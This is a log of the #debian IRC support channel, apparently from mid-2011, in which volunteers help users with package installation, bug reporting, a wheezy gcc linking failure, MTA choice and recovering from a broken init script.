| 16:22.17 | alnr | i want to to install a .deb i made, and resolve deps (so not dpkg). gdebi looks like what i want (from cli) but i dont want to pull in all the gnome stuff. |
| 16:22.34 | alnr | is there an alternative |
| 16:24.17 | *** join/#debian jodeba (~debel@ip3.c198.obr248.cust.comxnet.dk) |
| 16:24.35 | themill | alnr: gdebi-core, or "dpkg -i foo.deb; apt-get -f install". |
| 16:24.53 | *** join/#debian stepdown (~stepdown_@93-97-50-23.zone5.bethere.co.uk) |
| 16:25.16 | *** join/#debian pnbeast (~pnbeast@61.19.65.18) |
| 16:25.18 | alnr | themill, the apt-get will resolve what dpkg needed? |
| 16:25.56 | *** join/#debian jeff_hann (~arares@89.47.83.116) |
| 16:26.04 | themill | yes, that's its job. It will *try* to resolve the situation and put the package list back into a consistent state. It may not succeed, of course... |
| 16:26.42 | alnr | ok. i did install gdebi-core, i just didnt think to try using it from cli, thanks |
| 16:27.51 | *** join/#debian jeff_hann (~arares@89.47.83.116) |
| 16:28.41 | *** join/#debian jrib (~jrib@upstream/dev/jrib) |
| 16:30.00 | *** join/#debian thunderrd (~thunderrd@110.77.241.85) |
| 16:31.00 | *** mode/#debian [+l 1132] by debhelper |
| 16:32.02 | *** join/#debian syn4pse (~syn@rs17058.rapidspeeds.com) |
| 16:32.40 | *** join/#debian th0r (~steve@rrcs-98-101-210-6.midsouth.biz.rr.com) |
| 16:32.56 | *** join/#debian Fringe (~baihu@shellium/staff/floops) |
| 16:33.33 | th0r | I have discovered a small problem with the network configuration handling in squeeze. Is there a way to get this information to the devs without having to become a 'registered' user? |
| 16:34.09 | *** join/#debian c2pLaY (~yep@unaffiliated/c2play) |
| 16:34.26 | *** join/#debian fftb (~fftb@brln-d9ba6448.pool.mediaWays.net) |
| 16:35.07 | *** join/#debian format_c (~format_c@2001:4dd0:fc0c:0:6e62:6dff:fe4a:e47d) |
| 16:35.08 | dominusceo | <PROTECTED> |
| 16:35.08 | jelly-home | th0r: registered used? You can file bugs without having to register anywhere |
| 16:35.49 | th0r | jelly-home: at debian.org? |
| 16:35.57 | jelly-home | !reportbug |
| 16:35.57 | dpkg | reportbug is used to submit bugs to the Debian <BTS>. Install reportbug, then run reportbug. Or on the web, http://www.debian.org/Bugs/, or see http://www.debian.org/releases/stable/i386/ch05s04#problem-report for some general information about using reportbug and/or for <debian-installer> bug reporting. Also ask me about <report-bugs>. http://wiki.debian.org/reportbug http://www.debian.org/Bugs/Reporting |
| 16:36.28 | *** join/#debian pLk (~mail@xdslax125.osnanet.de) |
| 16:37.12 | jelly-home | th0r: yes. the above is assuming you're running Debian at present time. If you explain your issue perhaps someone can point to the exact package you can file a bug for |
| 16:38.34 | *** join/#debian drake01 (~drake01@59.178.145.127) |
| 16:38.38 | *** join/#debian semeion (~weechat@unaffiliated/semeion) |
| 16:38.38 | *** join/#debian asias (~asias@lifeatwarp10.com) |
| 16:38.38 | th0r | jelly-home: actually, I have the problem and the cure pegged. rather than tie everyone up here, let me write it up and pastebin it ... give me a couple of minutes. I just need to know how to get the info to the devs in case they want to act on it. |
| 16:38.47 | timdau | man, compiling this pv stub for xen is taking its sweet time. I wonder why there is no pkg. |
| 16:39.29 | timdau | cloning the repo alone took an hour |
| 16:39.30 | jelly-home | th0r: that's what reportbug is for. If it's an issue with the installer, you can run "reportbug debian-installer" I think |
| 16:39.48 | th0r | jelly-home: no...the install went fine....give me a minute |
| 16:39.55 | jelly-home | k |
| 16:40.23 | *** join/#debian npoektop_ (~npoektop@85.202.112.90) |
| 16:41.10 | hochron | Am I going to ren into problems if I installed libiw29 for lenny but I am running squeeze |
| 16:41.25 | *** join/#debian MarGarina (~orenhe@46-117-236-29.bb.netvision.net.il) |
| 16:41.38 | *** join/#debian xakz (~XaMaD@ARennes-554-1-135-237.w92-158.abo.wanadoo.fr) |
| 16:42.16 | *** join/#debian mastroDani (~Daniele@host97-69-dynamic.4-87-r.retail.telecomitalia.it) |
| 16:43.09 | *** mode/#debian [+o themill] by ChanServ |
| 16:43.15 | *** topic/#debian by themill -> squeeze (6.0.2) released; /msg dpkg squeeze ; /msg dpkg lenny->squeeze | lenny (5.0.8) /msg dpkg 5.0.8 | NO FLOOD: /msg dpkg pastebin | /msg bots NOT people | offtopic: #debian-offtopic | wheezy/sid: #debian-next (irc.oftc.net) | FAQ: http://deb.li/IRCFAQ | channel logs: http://deb.li/yQXC |
| 16:43.19 | *** mode/#debian [-o themill] by themill |
| 16:43.24 | *** join/#debian dzup (~dzup@unaffiliated/dzup) |
| 16:43.27 | themill | (topicdiff: 6.0.2 released) |
| 16:43.34 | *** join/#debian AbsintheSyringe (~havoc@SE400.PPPoE-2892.sa.bih.net.ba) |
| 16:44.30 | *** join/#debian npoektop (~npoektop@85.202.112.90) |
| 16:44.56 | *** join/#debian kamrati (kamrati@trustno1.eu) |
| 16:44.58 | *** join/#debian berserkr (~daviddiaz@40.196.222.87.dynamic.jazztel.es) |
| 16:46.06 | *** join/#debian grandie (~thomas@p57ACD9E9.dip.t-dialin.net) |
| 16:46.26 | th0r | jelly-home: http://pastebin.com/9bnaM01c |
| 16:47.45 | lapsusbrutus | #CDROM=/proc/ide/hdh What would typicly be a valid substitute here? (debian6 old pci cdrom) |
| 16:47.57 | *** join/#debian cahoot (~radix@pdpc/supporter/active/cahoot) |
| 16:48.02 | *** join/#debian nick (~nick@173-57.35-65.tampabay.res.rr.com) |
| 16:48.03 | *** join/#debian Vasistha (~david@unaffiliated/vasistha) |
| 16:48.07 | nick | hello |
| 16:48.16 | lapsusbrutus | /sys/ something I guess? |
| 16:48.20 | *** join/#debian npoektop (~npoektop@85.202.112.90) |
| 16:48.21 | mudge | hi |
| 16:48.30 | jelly-home | th0r: yeah, I'm not sure that counts as a bug at all |
| 16:48.41 | Vasistha | I am disappointed to see squeeze is still running wine 1.0.1, same as lenny. Where might I read about why this was not updated? |
| 16:48.46 | *** join/#debian Deadguy (~Deadguy@pdpc/supporter/active/deadguy) |
| 16:49.06 | th0r | jelly-home: agreed, but I have been working on it for two days now <smile> |
| 16:49.15 | mudge | I am used to using Ubuntu as my desktop but I have a debian server -- on Ubuntu I would get notifications to update software packages ----- how do I find out which debian packages on my server need to be updated with the latest packages? |
| 16:49.31 | *** join/#debian Lesterwood (~Lester@c-68-40-197-123.hsd1.mi.comcast.net) |
| 16:50.01 | Vasistha | mudge: most of us use aptitude as a package manager; it's relatively easy to update there |
| 16:50.10 | *** join/#debian batchy (~batchy@81-64-248-126.rev.numericable.fr) |
| 16:50.32 | *** join/#debian Skaperen (~phil@c-76-120-129-149.hsd1.wv.comcast.net) |
| 16:50.42 | mudge | Vasistha: I am familiar with aptitude, how does aptitude tell me which packages need to be updated? |
| 16:50.55 | themill | mudge: you can install something like cron-apt |
| 16:50.57 | jmarsden | mudge: Haveyou tried apticron |
| 16:51.00 | *** mode/#debian [+l 1141] by debhelper |
| 16:51.21 | Vasistha | mudge: they'll appear in the top 2 menus, security updates and upgradable packages |
| 16:51.23 | alnr | what package supplies the command dpkg-scanpackages? |
| 16:51.26 | jelly-home | Vasistha: #557783 might point to some reasons, but basically the maintainer hasn't been active for quite a while |
| 16:51.44 | Vasistha | jelly-home: ahha. damn. thanks for the info. |
| 16:52.05 | jmarsden | alnr: dpkg-dev |
| 16:52.29 | jelly-home | Vasistha: if you want to go unofficial, /msg dpkg wine-unstable |
| 16:52.31 | *** part/#debian th0r (~steve@rrcs-98-101-210-6.midsouth.biz.rr.com) |
| 16:52.52 | *** join/#debian Zopieux (~Zopieux@vm.zopieux.com) |
| 16:52.59 | Vasistha | jelly-home: erm... I guess that would require running sid, not a possibility. But thanks for telling me |
| 16:53.04 | *** join/#debian Pathin (~root@77-22-92-82-dynip.superkabel.de) |
| 16:53.10 | *** join/#debian npoektop (~npoektop@85.202.112.90) |
| 16:53.10 | jelly-home | Vasistha: get sources and backport? |
| 16:53.17 | *** join/#debian ROSHA (~rosha@91.99.118.172) |
| 16:53.22 | drwrr | anyone here using 2.6.39-2-amd64 from sid for a dom0? |
| 16:53.31 | Vasistha | jelly-home: that I might do. I'll also check out backports.debian.org |
| 16:53.46 | jelly-home | Vasistha: there isn't anything there. |
| 16:54.01 | jelly-home | I meant backport from that unofficial source |
| 16:54.04 | Vasistha | jelly-home: I am guessing that might be related to the lack of maintainer :) |
| 16:54.19 | *** join/#debian ner0x (~ner0x@c-71-60-92-131.hsd1.pa.comcast.net) |
| 16:54.44 | *** join/#debian Pathin_ (~root@gladsheim.nullbytestudios.net) |
| 16:55.21 | *** join/#debian th0r (~steve@rrcs-98-101-210-6.midsouth.biz.rr.com) |
| 16:55.59 | *** join/#debian berserkr (~daviddiaz@40.196.222.87.dynamic.jazztel.es) |
| 16:57.38 | *** join/#debian german__ (~german@r186-48-17-237.dialup.adsl.anteldata.net.uy) |
| 16:57.49 | *** join/#debian MartyD (~martyd@unaffiliated/martyd) |
| 16:58.13 | *** part/#debian th0r (~steve@rrcs-98-101-210-6.midsouth.biz.rr.com) |
| 16:58.16 | *** join/#debian ironicum (~ironicum@gateway/tor-sasl/ironicum) |
| 17:00.45 | *** join/#debian stepkrav (~step@178-164-113.dynamic.cyta.gr) |
| 17:00.45 | *** join/#debian stepkrav (~step@unaffiliated/stepkrav) |
| 17:00.49 | *** join/#debian ROSHA (~rosha@91.99.118.172) |
| 17:02.25 | zapadlo | Hello, I'm trying to compile a c file with gcc, and get: /usr/bin/ld: cannot find -lgcc_s |
| 17:02.28 | zapadlo | Am I missing a lib? |
| 17:05.23 | *** join/#debian Pathin (~root@77-22-92-82-dynip.superkabel.de) |
| 17:05.25 | *** join/#debian lollo64it (~lorenzo@93-58-3-33.ip156.fastwebnet.it) |
| 17:05.28 | *** join/#debian MarGarina (~orenhe@46-117-236-29.bb.netvision.net.il) |
| 17:05.43 | *** join/#debian HeXiLeD (~L3D@69.196.165.41) |
| 17:05.43 | *** join/#debian HeXiLeD (~L3D@unaffiliated/hexiled) |
| 17:07.03 | *** join/#debian liquid-silence (~liquid-si@about/csharp/regular/liquid-silence) |
| 17:07.49 | *** join/#debian indigo_ (~indigo@205.185.113.89) |
| 17:08.15 | *** join/#debian nodeps (~nodeps@201.79.193.17) |
| 17:08.21 | nodeps | What is the name of the package that contains the program for taking screenshots "import"? |
| 17:08.36 | *** join/#debian arvind_khadri (~arvind@unaffiliated/arvind-khadri/x-2237230) |
| 17:08.40 | *** join/#debian grandie (~thomas@p57ACD9E9.dip.t-dialin.net) |
| 17:09.38 | *** join/#debian pnbeast (~pnbeast@61.19.65.102) |
| 17:09.52 | Black_Prince | zpadlo, that library is part of gcc-4.x package |
| 17:09.56 | epsilon | do you now the binary? then dpkg -S <binary> if it's installed or apt-file search <binary> |
| 17:10.32 | wols_ | !tell nodeps about search |
| 17:10.33 | petemc | nodeps: imagmagick |
| 17:10.40 | petemc | spelt correctly |
| 17:10.53 | petemc | imagemagick |
| 17:12.22 | *** join/#debian lanze_so4 (~hed@clnet-p02-144.ikbnet.co.at) |
| 17:12.51 | *** join/#debian Bop (~Vrooomm@188.125.213.76) |
| 17:12.52 | *** join/#debian s3a (~deniz@ip69-17-246-188.vif.net) |
| 17:13.09 | *** join/#debian imganquan (~ganquan@113.77.93.157) |
| 17:13.21 | *** join/#debian Pathin (~root@77-22-92-82-dynip.superkabel.de) |
| 17:13.53 | *** join/#debian abrotman (~abrotman@pdpc/supporter/active/abrotman) |
| 17:14.14 | *** join/#debian Pathin (~root@gladsheim.nullbytestudios.net) |
| 17:14.26 | *** join/#debian Pathin_ (~root@77-22-92-82-dynip.superkabel.de) |
| 17:14.28 | *** join/#debian ZykoticK9 (~zykotick9@66.11.174.71) |
| 17:14.43 | *** join/#debian jodeba (~debel@ip3.c198.obr248.cust.comxnet.dk) |
| 17:15.06 | zapadlo | Black_Prince I have gcc-4.4 |
| 17:15.27 | *** join/#debian kuttenbrunzer (~kuttenbru@77-20-183-54-dynip.superkabel.de) |
| 17:15.54 | *** join/#debian RoozbehOnline (~rosha@91.99.118.172) |
| 17:16.02 | Black_Prince | zapadlo, /usr/lib/gcc/i486-linux-gnu/4.4/libgcc_s.so |
| 17:16.23 | imganquan | hi all. All the window's minimize, restore and close button are missing. I have installed a compiz. I know sth like "metacity --replace &" can make the buttons back, but compiz fancy effect lost. Anyone can help me? Thanks in advance. |
| 17:16.33 | *** join/#debian Tigger__ (Tigger@cpc4-fare6-2-0-cust436.6-1.cable.virginmedia.com) |
| 17:17.06 | Black_Prince | imganquan, what Debian version are you using? |
| 17:17.14 | imganquan | Black_Prince: sid |
| 17:17.25 | *** join/#debian geenna (~geenna@net-2-32-223-100.cust.dsl.teletu.it) |
| 17:17.26 | zapadlo | /usr/lib/gcc/i486-linux-gnu/ have 4.6 and 4.6.1 and are both empty... |
| 17:17.59 | Black_Prince | !sid |
| 17:17.59 | dpkg | sid is the <unstable> version of Debian. Sid is the destructive kid in Toy Story. It is NOT an acronym, but is sometimes backronymed Still In Development anyway. Do not use sid unless you have the skill to find your way out of the mess that broken packages may put you in. Sid will never be released. See also <sid faq> <unstable>. |
| 17:18.18 | *** join/#debian Miss_Anthropie (~blob@gssn-4d00280d.pool.mediaWays.net) |
| 17:18.28 | Black_Prince | imganquan, sid is not supported on #debian, it is supported on #debian-next on irc.oftc.net |
| 17:18.52 | Black_Prince | zapadlo, what debian version are you using? |
| 17:19.00 | imganquan | Black_Prince: OK,thank you. |
| 17:19.03 | jelly-home | supported... to the best ability of 74 people there and with mocking allowed |
| 17:19.05 | zapadlo | Black_Prince wheezy |
| 17:19.24 | *** join/#debian cheater_ (~ubuntu@g229129111.adsl.alicedsl.de) |
| 17:19.27 | *** join/#debian un1que (martin@2001:5c0:1000:b::9b4d) |
| 17:19.37 | Black_Prince | wow wheezy has some fuck up about compilers |
| 17:19.46 | Black_Prince | /usr/lib/i386-linux-gnu/gcc/i486-linux-gnu/4.4/libgcc_s.so |
| 17:20.22 | *** join/#debian access_d (~axisd@CPE-24-209-140-115.wi.res.rr.com) |
| 17:20.47 | zapadlo | Black_Prince Thank you |
| 17:21.01 | *** mode/#debian [+l 1151] by debhelper |
| 17:21.23 | jelly-home | Black_Prince: I bet that path is not part of any package |
| 17:21.24 | zapadlo | Two broken links there ^^ |
| 17:21.49 | Black_Prince | jelly-home, I gues this one is same issue as with libgl1-mesa-dri thing |
| 17:22.01 | Black_Prince | judd file 4.4/libgcc_s.so |
| 17:22.05 | judd | 4.4/libgcc_s.so in squeeze/i386: gcc-4.4: usr/lib/gcc/i486-linux-gnu/4.4/libgcc_s.so |
| 17:22.15 | Black_Prince | This should be right path |
| 17:22.25 | jelly-home | --release wheezy ? |
| 17:22.26 | *** join/#debian semeion (~weechat@unaffiliated/semeion) |
| 17:22.35 | Black_Prince | judd file 4.4/libgcc_s.so --release wheezy |
| 17:22.38 | judd | 4.4/libgcc_s.so in wheezy/i386: gcc-4.4: usr/lib/i386-linux-gnu/gcc/i486-linux-gnu/4.4/libgcc_s.so |
| 17:22.42 | nsadmin | Black_Prince, has it been suggested that people have pointed and laughed at folks who use other than stable for real work? |
| 17:22.47 | jelly-home | hah |
| 17:23.01 | *** join/#debian ompaul (~ompaul@unaffiliated/ompaul) |
| 17:23.17 | jelly-home | Black_Prince: I agree it's ugly. |
| 17:23.28 | *** join/#debian mark76 (~mark@cpc27-nfds13-2-0-cust178.8-2.cable.virginmedia.com) |
| 17:23.29 | zapadlo | Black_Prince Hmm, don't have that path, but its okay, I can just find those manually, thanks |
| 17:23.35 | Black_Prince | I would only laugh if someone is using sid for real work ... testing *was* pretty usable some time ago (squeeze times) |
| 17:23.51 | nsadmin | having said that, what's exactly the problem? does the compiler not work? |
| 17:24.13 | craigevil | sid has been nice to me, apt-listbugs is a life saver |
| 17:24.15 | nsadmin | Black_Prince, but that gets to change |
| 17:24.26 | *** join/#debian shanepardue (~quassel@173-14-199-153-independence.hfc.comcastbusiness.net) |
| 17:24.32 | *** join/#debian Worf (~worf@chello080109200187.3.sc-graz.chello.at) |
| 17:25.03 | *** join/#debian Pathin_ (~root@77-22-92-82-dynip.superkabel.de) |
| 17:25.08 | Black_Prince | strange thing is, same issue about gcc-4.4 is still present in sid ... |
| 17:25.31 | Black_Prince | And it was accepted 12 days ago ... |
| 17:26.11 | nsadmin | does that make something not work? |
| 17:26.18 | *** part/#debian althaser (~gnu@cl-229.lis-01.pt.sixxs.net) |
| 17:26.27 | jelly-home | Black_Prince: sid has more fixes! |
| 17:26.34 | Black_Prince | Yes, it makes compiler not work |
| 17:26.47 | jelly-home | I bet it works bettererer |
| 17:26.50 | Black_Prince | It looks for libraries in /usr/lib/gcc ... but they are in /usr/lib/i386-linux-gnu/gcc ... |
| 17:26.51 | *** join/#debian apwxxsdf (~era1@82.131.67.152.cable.starman.ee) |
| 17:26.52 | nsadmin | by not being able to link to its runtime lib? |
| 17:27.04 | Black_Prince | ,versions gcc-4.4 |
| 17:27.05 | judd | Package gcc-4.4 on i386 -- squeeze: 4.4.5-8; sid: 4.4.6-6; wheezy: 4.4.6-6 |
| 17:27.13 | nsadmin | hmm. then the compiler parts were not built together |
| 17:27.17 | Black_Prince | nsadmin, isn't that a big problem? |
| 17:27.27 | nsadmin | yeah, agreed. |
| 17:27.31 | *** join/#debian Matic`Makovec (~biggi_mat@2001:1470:faca:1502:29b0:837c:83f9:32b3) |
| 17:27.45 | jelly-home | "gcc" points to 4.5 here on wheezy anyway |
| 17:28.03 | craigevil | why would it matter that 4.4 is still in sid, it also has 4.6.0-14 which is what gcc --version outputs |
| 17:28.08 | nsadmin | gcc can point to all of them |
| 17:28.18 | jelly-home | nsadmin: since when?? |
| 17:28.21 | Black_Prince | there are 4.4, 4.5 and 4.6 in wheezy ... |
| 17:28.33 | ompaul | ,versions gcc |
| 17:28.33 | judd | Package gcc on i386 -- lenny: 4:4.3.2-2; squeeze: 4:4.4.5-1; wheezy: 4:4.6.0-5; sid: 4:4.6.0-6 |
| 17:28.34 | *** join/#debian acemi (~acemi@unaffiliated/acemi) |
| 17:28.34 | nsadmin | since 1988 or before |
| 17:28.37 | Black_Prince | and default one, which gcc package installs is 4.6 |
| 17:28.47 | jelly-home | nsadmin: we're talking about Debian |
| 17:28.51 | *** join/#debian Cyanure (~Cyanure@212-198-160-108.rev.numericable.fr) |
| 17:28.59 | *** join/#debian starenka (~starenka@ip-62-245-81-157.net.upcbroadband.cz) |
| 17:28.59 | *** join/#debian shanepardue (~quassel@173-14-199-153-independence.hfc.comcastbusiness.net) |
| 17:29.11 | jelly-home | nsadmin: last I heard /usr/bin/gcc couldn't just point anywhere, it was managed by the gcc package |
| 17:29.11 | nsadmin | or, more specifically, debian gcc maints |
| 17:29.36 | jelly-home | zapadlo: dpkg -l gcc|tail -1 |
| 17:29.56 | Black_Prince | well that can be changed manualy using dpkg-divert ... |
| 17:30.00 | jelly-home | Black_Prince: nope |
| 17:30.05 | *** join/#debian doogaille (~doogaille@sgg35-2-88-122-22-44.fbx.proxad.net) |
| 17:30.11 | Black_Prince | I said manualy |
| 17:30.28 | jelly-home | well yes, but ANYTHING can be changed with diverts, doesn't mean it's a good idea to do that |
| 17:30.39 | *** join/#debian s3a (~deniz@ip69-17-246-188.vif.net) |
| 17:30.55 | jelly-home | and if zapadlo had done that he'd probably have mentioned |
| 17:31.15 | nsadmin | but this thing of gcc (or more likely one of the actual compilers it calls) not loading its libs is a pretty strong indication that at least the pieces of the 4.4 compiler were not built together |
| 17:31.17 | Black_Prince | Well, I guess many people use CC variable |
| 17:31.18 | *** join/#debian froggyman (~seth@unaffiliated/froggyman) |
| 17:32.54 | *** join/#debian Wyzard (~mike@pool-96-234-182-33.bltmmd.fios.verizon.net) |
| 17:33.17 | jelly-home | I don't dare guess anything further until zapadlo shows the installed version of gcc package |
| 17:33.22 | jelly-home | ,versions gcc |
| 17:33.24 | judd | Package gcc on i386 -- lenny: 4:4.3.2-2; squeeze: 4:4.4.5-1; wheezy: 4:4.6.0-5; sid: 4:4.6.0-6 |
| 17:33.52 | jelly-home | "gcc" should be 4.6 |
| 17:34.00 | zapadlo | jelly-home 4:4.5.2-2 |
| 17:34.16 | Black_Prince | There is /usr/bin/gcc-version binary ... |
| 17:34.24 | *** join/#debian Ex-Opesa (~Ex-Opesa@2.49.193.74) |
| 17:34.28 | nsadmin | why is debian using any version of gcc that ends in .0? |
| 17:34.35 | jelly-home | zapadlo: what does gcc -v|tail -1 say? |
| 17:34.44 | jelly-home | nsadmin: uh... unstable? |
| 17:35.04 | nsadmin | no kidding :) |
| 17:35.10 | zapadlo | jelly-home gcc version 4.5.3 (Debian 4.5.3-3) |
| 17:35.11 | jelly-home | I mean, why not |
| 17:35.19 | *** join/#debian Pathin_ (~root@77-22-92-82-dynip.superkabel.de) |
| 17:35.38 | jelly-home | zapadlo: tried... upgrading that? |
| 17:35.46 | nsadmin | because if anything should be conservatively handled, it's gcc on which everything depends |
| 17:35.48 | *** join/#debian jkyle (~krunk-@unaffiliated/krunk-) |
| 17:36.10 | jelly-home | nsadmin: I trust debian GCC team know what they're doing more than random irc people |
| 17:36.13 | jkyle | is exim4 the recommended MTA for debian? I notice the docs use that by default. |
| 17:36.40 | zapadlo | jelly-home It says its uptodate |
| 17:36.41 | tharkun | jkyle: yes exim is the default mta for debian |
| 17:37.03 | lapsusbrutus | I made a rather homemade init script and now server will not power on well nor power off... whats the easiest way to get shell and rm symbolic link in rc2.d ? |
| 17:37.06 | jkyle | what advantage would it have over postfix? That's what I generally use, not too familiar with exim4. |
| 17:37.20 | *** join/#debian froggyman (~seth@unaffiliated/froggyman) |
| 17:37.29 | *** join/#debian StefandeVries (~stefan@ip90-6-209-87.adsl2.static.versatel.nl) |
| 17:37.29 | *** join/#debian StefandeVries (~stefan@unaffiliated/stefandevries) |
| 17:37.35 | Black_Prince | lapsusbrutus add init=/bin/bash to kernel command line |
| 17:37.48 | tharkun | jkyle: i personally also use postfix. It is a matter of how used to configuring and maintaining your mta you are. |
| 17:38.04 | jkyle | k, fair enough. probably go with postfix then |
| 17:38.22 | *** join/#debian aidaho (~aidaho@91.224.168.10) |
| 17:38.24 | *** join/#debian mplabs (~Matias@unaffiliated/mplabs) |
| 17:38.25 | mplabs | Hello |
| 17:38.36 | lapsusbrutus | Black_Prince: :) |
| 17:38.41 | lapsusbrutus | thanks |
| 17:38.44 | nsadmin | anyway, there seems to be a difference between the version of gcc available as stated by the udd and the one in use by Black_Prince |
| 17:38.48 | jelly-home | zapadlo: and yet judd says current version for wheezy: 4:4.6.0-5. Do an update. |
| 17:38.54 | nsadmin | that could explain what's going on |
| 17:38.55 | zapadlo | jelly-home Although gcc is being held back |
| 17:39.07 | zapadlo | kept back* |
| 17:39.13 | mplabs | what can be making Xorg to use more than 50% of the CPU while idle? it all goes slow now (Debian testing, KDE) |
| 17:39.18 | nsadmin | why is it being kept back? |
| 17:39.35 | tharkun | mplabs: debian-next @irc.oftc.net |
| 17:39.43 | zapadlo | jelly-home How can I force it? |
| 17:39.50 | jelly-home | jkyle: it's just a default, there has to be one. If you know postfix, install that. |
| 17:39.51 | mplabs | tharkun, why not here? |
| 17:39.59 | jelly-home | zapadlo: just install it |
| 17:40.01 | *** join/#debian miguetan (~miguetan@237.242.165.83.dynamic.mundo-r.com) |
| 17:40.08 | abrotman | mplabs: does it happen with another window manager? |
| 17:40.09 | *** join/#debian RenatoSilva (~renato@187.15.53.88) |
| 17:40.12 | Black_Prince | run dist-upgrade ... doh |
| 17:40.21 | jelly-home | zapadlo: I _think_ that ought to work |
| 17:40.28 | nsadmin | zapadlo, not good to force. better to find out why it seems to need forcing; do we know it does? |
| 17:40.34 | tharkun | mplabs: suit yourself. People there are more familiar with that kind of trouble on wheezy and sid |
| 17:40.38 | ompaul | mplabs: mostly a lot of helpful testing and sid people in that channel |
| 17:40.45 | zapadlo | I'll just run dist-upgrade |
| 17:41.01 | *** mode/#debian [+l 1145] by debhelper |
| 17:41.06 | abrotman | mplabs: also your video card driver may be part of the issue |
| 17:41.07 | RenatoSilva | Can I safely remove these broken links? http://pastie.org/2121402 |
| 17:41.08 | jelly-home | zapadlo: that's not what I said though, but have fun |
| 17:41.15 | nsadmin | Oh, ok, so you're actually in the middle of upgrading? |
| 17:41.19 | jelly-home | RenatoSilva: which debian release are you using? |
| 17:41.35 | *** join/#debian husien (~Gamers@203.82.92.14) |
| 17:42.19 | jordanm | likely none according to line 6 |
| 17:42.26 | jelly-home | RenatoSilva: I'm asking because "grep: /etc/apparmor.d/disable/usr.bin.firefox-3.5: No such file or directory" doesn't look like Debian. It looks like an Ubuntu system and the correct channel for that is #ubuntu, not this one |
| 17:42.38 | nsadmin | zapadlo, have you done the pre-work as outlined in the release notes? approximately, upgrade dpkg, apt-get, aptitude and the kernel, then reboot\ |
| 17:43.05 | zapadlo | nsadmin release notes for what? |
| 17:43.37 | *** join/#debian frostschutz (~frostschu@p4FFF5E4C.dip.t-dialin.net) |
| 17:43.39 | zapadlo | I've been on wheezy since the install |
| 17:43.51 | jelly-home | nsadmin: 4.5.3 means he's going from wheezy to wheezy |
| 17:43.52 | nsadmin | since the install? |
| 17:43.55 | *** join/#debian Tuxist (~quassel@dyndsl-091-096-121-076.ewe-ip-backbone.de) |
| 17:44.15 | nsadmin | oh, so you just haven't upgraded in awhile |
| 17:44.22 | jelly-home | just like my ii gcc 4:4.5.2-2 The GNU C compiler |
| 17:44.22 | nsadmin | yes? |
| 17:44.23 | RenatoSilva | jelly-home: ok |
| 17:44.26 | *** part/#debian RenatoSilva (~renato@187.15.53.88) |
| 17:44.30 | zapadlo | nsadmin basically |
| 17:44.36 | *** join/#debian RenatoSilva (~renato@187.15.53.88) |
| 17:44.45 | *** part/#debian RenatoSilva (~renato@187.15.53.88) |
| 17:45.43 | nsadmin | ok, is your kernel up to date? |
| 17:45.53 | *** join/#debian Pathin_ (~root@77-22-92-82-dynip.superkabel.de) |
| 17:45.59 | zapadlo | nsadmin It is now, upgrade just finished |
| 17:46.03 | *** join/#debian macrobat (~fuzzyglee@h-17-133.A328.priv.bahnhof.se) |
| 17:46.08 | nsadmin | and rebooted into it? |
| 17:46.15 | zapadlo | Not yet |
| 17:46.22 | nsadmin | is this a remote? |
| 17:46.22 | zapadlo | But gcc is now working ^^ |
| 17:46.27 | zapadlo | No |
| 17:46.31 | nsadmin | oh, good |
| 17:46.35 | zapadlo | Just done an upgrade, but haven't rebooted |
| 17:46.57 | zapadlo | Thanks everyone, guess I need to upgrade a little more often, just wasn't expecting gcc to break down like that, even in testing |
| 17:46.57 | *** join/#debian s3a (~deniz@ip69-17-246-188.vif.net) |
| 17:47.00 | nsadmin | ok, good enough... so the upgrade did install a kernel? |
| 17:47.09 | *** join/#debian moele (~turtle@S010620cf304ce9d6.vs.shawcable.net) |
| 17:47.18 | moele | who would be the best place to report a broken repository to? |
| 17:47.19 | zapadlo | Yes |
| 17:47.27 | *** join/#debian mplabs (~Matias@r190-134-31-153.dialup.adsl.anteldata.net.uy) |
| 17:47.27 | *** join/#debian mplabs (~Matias@unaffiliated/mplabs) |
| 17:47.37 | mplabs | abrotman, I can read you now, I guess |
| 17:47.40 | zapadlo | Thank again, going to restart |
| 17:49.47 | *** join/#debian onebitxajax (~onebitxaj@unaffiliated/onebitxajax) |
| 17:50.25 | *** part/#debian onebitxajax (~onebitxaj@unaffiliated/onebitxajax) |
| 17:51.19 | *** join/#debian Zitter (~danilo@host157-194-dynamic.18-79-r.retail.telecomitalia.it) |
| 17:51.41 | *** join/#debian crebylon (~crebylon@186.255.139.90) |
| 17:51.55 | *** join/#debian thinksteve (~stephan@p578F7F28.dip.t-dialin.net) |
| 17:52.24 | *** join/#debian PhoenixSTF (~PhoenixST@bl18-107-192.dsl.telepac.pt) |
| 17:53.43 | nsadmin | I have one of those linksys waps, and while it's on, I have the eth disconnected from my net; I expected the lights to not flicker at all, and yet they are constantly indicating something's trying to connect; the dhcp is on the wired net so the wap is not trying to pass out IPs itself... |
| 17:53.50 | *** join/#debian boudiccas (~boztu@92.24.64.97) |
| 17:53.50 | *** join/#debian boudiccas (~boztu@unaffiliated/boudiccas) |
| 17:54.03 | nsadmin | question is, is anyone noticing anything similar? |
| 17:54.18 | *** join/#debian symptom (~symptom@unaffiliated/symptom) |
| 17:54.41 | crebylon | Eae beleza? |
| 17:54.49 | *** join/#debian ZykoticK9 (~zykotick9@66.11.174.71) |
| 17:56.35 | *** join/#debian MartyD (~martyd@unaffiliated/martyd) |
| 17:56.49 | *** join/#debian Pathin_ (~root@77-22-92-82-dynip.superkabel.de) |
| 17:57.25 | *** join/#debian apwxxsdf (~era1@82.131.67.152.cable.starman.ee) |
| 17:58.53 | nsadmin | crebylon, what language would you like debian assistance in? |
| 17:59.09 | ectospasm | nsadmin: C#? |
| 18:00.02 | nsadmin | "Eae beleza" is a c# expression? |
| 18:00.11 | *** join/#debian michael (~michael@cpe-24-210-25-11.columbus.res.rr.com) |
| 18:00.14 | *** join/#debian s3a (~deniz@ip69-17-246-188.vif.net) |
| 18:00.33 | *** join/#debian starenka (~starenka@ip-62-245-81-157.net.upcbroadband.cz) |
| 18:00.35 | ectospasm | nsadmin: no, I was taking your question completely out of context |
| 18:00.49 | ectospasm | ... I should not come in this channel as delerious as I am. |
| 18:01.05 | ectospasm | s/ler/lir/ |
| 18:01.09 | crebylon | Ola |
| 18:01.40 | nsadmin | crebylon, hi. what is your preferred language |
| 18:02.11 | *** join/#debian arvind_khadri (~arvind@unaffiliated/arvind-khadri/x-2237230) |
| 18:02.16 | crebylon | Nao entendi |
| 18:02.17 | Black_Prince | !br |
| 18:02.17 | dpkg | Este canal é apenas em inglês. Por favor, use #debian-br (/j #debian-br) para ajuda em portugues. |
